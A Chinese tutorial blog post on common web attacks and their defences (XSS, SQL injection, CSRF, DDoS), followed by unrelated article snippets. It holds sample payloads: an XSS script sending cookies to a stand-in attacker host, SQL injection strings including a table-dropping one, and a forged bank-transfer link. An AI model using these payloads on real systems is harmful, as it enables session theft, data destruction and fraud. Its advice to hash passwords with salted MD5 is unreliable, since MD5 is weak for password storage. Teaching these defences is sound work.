常見的攻擊手段及其防御方式

?

本文簡單介紹幾種常見的攻擊手段及其防御方式

  • XSS(跨站腳本攻擊)
  • CSRF(跨站請求偽造)
  • SQL注入
  • DDOS

XSS

概念

  • 全稱是跨站腳本攻擊(Cross Site Scripting),指攻擊者在網頁中嵌入惡意腳本程序。

案列

  • 比如說我寫了一個博客網站,然后攻擊者在上面發布了一個文章,內容是這樣的?<script>window.open(“www.gongji.com?param=”+document.cookie)</script>,如果我沒有對他的內容進行處理,直接存儲到數據庫,那么下一次當其他用戶訪問他的這篇文章的時候,服務器從數據庫讀取后然后響應給客戶端,瀏覽器執行了這段腳本,然后就把該用戶的cookie發送到攻擊者的服務器了。

被攻擊的原因

  • 用戶輸入的數據變成了代碼,比如說上面的<script>,應該只是字符串卻有了代碼的作用。

預防

  • 將輸入的數據進行轉義處理,比如說講 < 轉義成&lt;

SQL注入

概念

  • 通過sql命令偽裝成正常的http請求參數,傳遞到服務器端,服務器執行sql命令造成對數據庫進行攻擊

案例

  • ' or '1'= '1。這是最常見的sql注入攻擊,當我們輸如用戶名 jiajun ,然后密碼輸如'or '1'= '1的時候,我們在查詢用戶名和密碼是否正確的時候,本來要執行的是select * from user where username='' and password='',經過參數拼接后,會執行sql語句?select * from user where username='jaijun' and password=' ' or ' 1'='1 ',這個時候1=1是成立,自然就跳過驗證了。
  • 但是如果再嚴重一點,密碼輸如的是';drop table user;--,那么sql命令為select * from user where username='jiajun' and password='';drop table user;--'?這個時候我們就直接把這個表給刪除了

被攻擊的原因

  • sql語句偽造參數,然后在對參數進行拼接的后形成破壞性的sql語句,最后導致數據庫受到攻擊

預防

  • 在java中,我們可以使用預編譯語句(PreparedStatement),這樣的話即使我們使用sql語句偽造成參數,到了服務端的時候,這個偽造sql語句的參數也只是簡單的字符,并不能起到攻擊的作用。
  • 很多orm框架已經可以對參數進行轉義
  • 做最壞的打算,即使被’拖庫‘('脫褲,數據庫泄露')。數據庫中密碼不應明文存儲的,可以對密碼使用md5進行加密,為了加大破解成本,所以可以采用加鹽的(數據庫存儲用戶名,鹽(隨機字符長),md5后的密文)方式。

CSRF

概念

  • 全稱是跨站請求偽造(cross site request forgery),指通過偽裝成受信任用戶的進行訪問,通俗的講就是說我訪問了A網站,然后cookie存在了瀏覽器,然后我又訪問了一個流氓網站,不小心點了流氓網站一個鏈接(向A發送請求),這個時候流氓網站利用了我的身份對A進行了訪問。

案列

  • 這個例子可能現實中不會存在,但是攻擊的方式是一樣的。比如說我登錄了A銀行網站,然后我又訪問了室友給的一個流氓網站,然后點了里面的一個鏈接?www.A.com/transfer?account=666&money=10000,那么這個時候很可能我就向賬號為666的人轉了1w軟妹幣
  • 注意這個攻擊方式不一定是我點了這個鏈接,也可以是這個網站里面一些資源請求指向了這個轉賬鏈接,比如說一個<img src="http://www.A.com/transfer?account=666&money=10000">

被攻擊的原因

  • 用戶本地存儲cookie,攻擊者利用用戶的cookie進行認證,然后偽造用戶發出請求

預防

  • 之所以被攻擊是因為攻擊者利用了存儲在瀏覽器用于用戶認證的cookie,那么如果我們不用cookie來驗證不就可以預防了。所以我們可以采用token(不存儲于瀏覽器)認證。
  • 通過referer識別,HTTP Referer是header的一部分,當瀏覽器向web服務器發送請求的時候,一般會帶上Referer,告訴服務器我是從哪個頁面鏈接過來的,服務器基此可以獲得一些信息用于處理。那么這樣的話,我們必須登錄銀行A網站才能進行轉賬了。

DDOS

概念

  • 分布式拒絕服務攻擊(Distributed Denial of Service),簡單說就是發送大量請求是使服務器癱瘓。DDos攻擊是在DOS攻擊基礎上的,可以通俗理解,dos是單挑,而ddos是群毆,因為現代技術的發展,dos攻擊的殺傷力降低,所以出現了DDOS,攻擊者借助公共網絡,將大數量的計算機設備聯合起來,向一個或多個目標進行攻擊。

案例

  • SYN Flood ,簡單說一下tcp三次握手,客戶端先服務器發出請求,請求建立連接,然后服務器返回一個報文,表明請求以被接受,然后客戶端也會返回一個報文,最后建立連接。那么如果有這么一種情況,攻擊者偽造ip地址,發出報文給服務器請求連接,這個時候服務器接受到了,根據tcp三次握手的規則,服務器也要回應一個報文,可是這個ip是偽造的,報文回應給誰呢,第二次握手出現錯誤,第三次自然也就不能順利進行了,這個時候服務器收不到第三次握手時客戶端發出的報文,又再重復第二次握手的操作。如果攻擊者偽造了大量的ip地址并發出請求,這個時候服務器將維護一個非常大的半連接等待列表,占用了大量的資源,最后服務器癱瘓。
  • CC攻擊,在應用層http協議上發起攻擊,模擬正常用戶發送大量請求直到該網站拒絕服務為止。

被攻擊的原因

  • 服務器帶寬不足,不能擋住攻擊者的攻擊流量

預防

  • 最直接的方法增加帶寬。但是攻擊者用各地的電腦進行攻擊,他的帶寬不會耗費很多錢,但對于服務器來說,帶寬非常昂貴。
  • 云服務提供商有自己的一套完整DDoS解決方案,并且能提供豐富的帶寬資源

總結

  • 上面一共提到了4中攻擊方式,分別是xss攻擊(關鍵是腳本,利用惡意腳本發起攻擊),CSRF攻擊(關鍵是借助本地cookie進行認證,偽造發送請求),SQL注入(關鍵是通過用sql語句偽造參數發出攻擊),DDOS攻擊(關鍵是通過手段發出大量請求,最后令服務器崩潰)
  • 之所以攻擊者能成功攻擊,用戶操作是一個原因,服務器端沒有做好防御是一個問題,因為無法控制用戶的操作,所以需要我們服務器端的開發做好防御。
  • 沒有覺得絕對安全,只要更安全。

?

參考博客:http://www.cnblogs.com/-new/p/7135814.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/455438.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/455438.shtml
英文地址,請注明出處:http://en.pswp.cn/news/455438.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

使用ffmpeg進行h.264編碼

m_fmt->video_codec CODEC_ID_H264; /* 添加視頻流 */ m_video_st av_new_stream(m_oc, 0); if (!m_video_st) { return 0; } m_videocavcodec_alloc_context(); m_videoc m_video_st->codec; /* 視頻相關參數 */ m_videoc->codec_id m_fmt->video_codec; m_…

關于java的關鍵字 transient

我們都知道一個對象只要實現了Serilizable接口&#xff0c;這個對象就可以被序列化&#xff0c;Java的這種序列化模式為開發者提供了很多便利&#xff0c;我們可以不必關系具體序列化的過程&#xff0c;只要這個類實現了Serilizable接口&#xff0c;這個的所有屬性和方法都會自…

python中文件變化監控-watchdog

起步 在python中文件監控主要有兩個庫&#xff0c;一個是pyinotify&#xff0c;一個是watchdog。pyinotify依賴于Linux平臺的inotify&#xff0c;后者則對不同平臺的的事件都進行了封裝。因為我主要用于Windows平臺&#xff0c;所以下面著重介紹watchdog&#xff08;推薦大家閱…

python決策樹分類鳶尾花_基于決策樹—鳶尾花分類

決策樹算法廣泛應用于&#xff1a;語音識別、醫療診斷、客戶關系管理、模式識別、專家系統等&#xff0c;在實際工作中&#xff0c;必須根據數據類型的特點及數據集的大小&#xff0c;選擇合適的算法。本文選擇經典案例——《鳶尾花分類》一、決策樹定義決策樹算法是一種基于實…

希捷宣布出貨雙碟裝1TB硬盤 單碟500GB上市

希捷今天宣布&#xff0c;單碟容量高達500GB的Barracuda 7200.12 1TB硬盤已經出貨。 現有的1TB硬盤產品一般都是三碟裝(此前也有四碟裝)&#xff0c;包括希捷自家的ST31000340AS&#xff0c;但希捷一進率先將其升級為雙碟裝&#xff0c;存儲密度也達到了329Gb每平方英寸。這樣一…

P1334 瑞瑞的木板

題目描述 瑞瑞想要親自修復在他的一個小牧場周圍的圍欄。他測量柵欄并發現他需要N&#xff08;1≤N≤20,000&#xff09;根木板&#xff0c;每根的長度為整數Li&#xff08;1≤Li≤50,000&#xff09;。于是&#xff0c;他神奇地買了一根足夠長的木板&#xff0c;長度為所需的N…

FFMpeg的output_example.c例子分析

該例子講了如何輸出一個libavformat庫所支持格式的媒體文件。 &#xff08;1&#xff09;av_register_all()&#xff0c;初始化libavcodec庫&#xff0c;并注冊所有的編解碼器和格式。 &#xff08;2&#xff09;guess_format()&#xff0c;根據文件名來獲取輸出文件格式&#…

大量數據+同步+多線程_Vulkan 多線程渲染

1. Overview of Vulkan1.1 計算機圖形軟件圖形軟件有兩個大類&#xff1a;專用軟件包&#xff08;special-purpose packages&#xff09;和通用編程軟件包&#xff08;general programming packages&#xff09;。專用軟件包通常提供一種UI設計語言&#xff0c;讓用戶直接生成想…

飛康任命Gartner前分析師擔任亞洲區市場總監

在虛擬化、數據保護和數據遷移領域具備15年創新經驗的美國飛康軟件公司&#xff08;FalconStor Software, Inc.&#xff0c;NASDAQ&#xff1a;FALC&#xff09;近日宣布任命張瑾&#xff08;Jimmie Chang&#xff09;先生擔任該公司亞洲區市場部門負責人。 飛康公司近日面向全…

12_登陸案例

13131轉載于:https://www.cnblogs.com/ZHONGZHENHUA/p/7044846.html

如何基于FFMPEG和SDL寫一個少于1000行代碼的視頻播放器

http://blog.csdn.net/eplaylity/archive/2008/12/05/3454431.aspx http://www.cnblogs.com/konyel/tag/SDLGuide%E4%B8%AD%E6%96%87%E8%AF%91%E7%89%88/ ffmpeg文檔http://blog.sina.com.cn/s/blog_46dc65a90100a91b.html http://dranger.com/ffmpeg/ffmpeg.html VLC核心功能部…

Flask 概述

什么是Web Framework&#xff1f; Web Application Framework&#xff08;Web應用程序框架&#xff09;或簡單的Web Framework&#xff08;Web框架&#xff09;表示一個庫和模塊的集合&#xff0c;使Web應用程序開發人員能夠編寫應用程序&#xff0c;而不必擔心協議&#xff0…

(五)Maven中的聚合和繼承

一、為什么要聚合&#xff1f; 定義&#xff1a;我們在開發過程中&#xff0c;創建了2個以上的模塊&#xff0c;每個模塊都是一個獨立的maven project&#xff0c;在開始的時候我們可以獨立的編譯和測試運行每個模塊&#xff0c;但是隨著項目的不斷變大和復雜化&#xff0c;我們…

python堆棧反向輸出列表_python - IPython:將Python腳本的輸出重定向到文件(如bash) - 堆棧內存溢出...

IPython有自己的上下文管理器來捕獲stdout / err &#xff0c;但它沒有重定向到文件&#xff0c;它重定向到一個對象&#xff1a;from IPython.utils import iowith io.capture_output() as captured:%run my_script.pyprint captured.stdout # prints stdout from your script…

關于datagrid

基本在公司使用的datagrid不需要自己寫前臺代碼&#xff0c;只需要自己給grid明確id&#xff0c;url以及列屬性即可。 后臺需要返回一個數據類型&#xff1a;{recordsFiltered2, data[], drawnull, recordsTotal2}&#xff0c;通常返回這個數據類型的話&#xff0c;只需要調用d…

M-JPEG、MPEG4、H.264都有何區別 依維安防論壇

壓縮方式是網絡視頻服務器和網絡攝像機的核心技術&#xff0c;壓縮方式很大程度上決定著圖像的質量、壓縮比、傳輸效率、傳輸速度等性能&#xff0c;它是評價網絡視頻服務器和網絡攝像機性能優劣的重要一環。 隨著多媒體技術的發展&#xff0c;相繼推出了許多壓縮編碼標準&…

Django/Flask/Tornado三大web框架性能分析

寫在前面&#xff1a;本文的數據涉及到之前遇到過的問題&#xff0c;大概一次 http 請求到收到響應需要多少時間。這個問題在實際工作中與框架有比較大的關系&#xff0c;因此特別就框架的性能做了一次分析。這里使用之前的一個報告數據&#xff1a; Pythons Web Framework Ben…

python urllib模塊學習筆記

這個模塊是最基本最常用的&#xff0c;以前看過&#xff0c;總結一下 #coding : utf-8import urlliburl http://cnblogs.com#代理服務器proxies {http:http://127.0.0.1:8087}#使用代理服務器打開r urllib.urlopen(url,proxies proxies)print r.info()print r.getcode()pri…

hibernate基礎工具findBySQL學習

public List<Map<String,Object>> findBySQL(String sql,Map<String,Object> param,int start,int max) {log.debug("finding List by hql");try {       //最后返回map map的key可為別名和數據庫字段SQLQuery querysessionFactory.getCurr…

python處理ini文件_python對ini配置文件處理

>>> cf.read("test.ini") #讀取配置文件[test.ini]>>> cf.sections() #片段名[base, callback]>>> cf.options("callback") #配置…